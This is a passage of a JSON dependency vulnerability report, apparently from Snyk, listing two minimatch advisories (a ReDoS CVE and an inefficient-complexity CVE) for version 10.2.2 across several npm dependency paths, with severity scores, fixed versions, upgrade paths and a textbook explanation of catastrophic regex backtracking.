}, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": 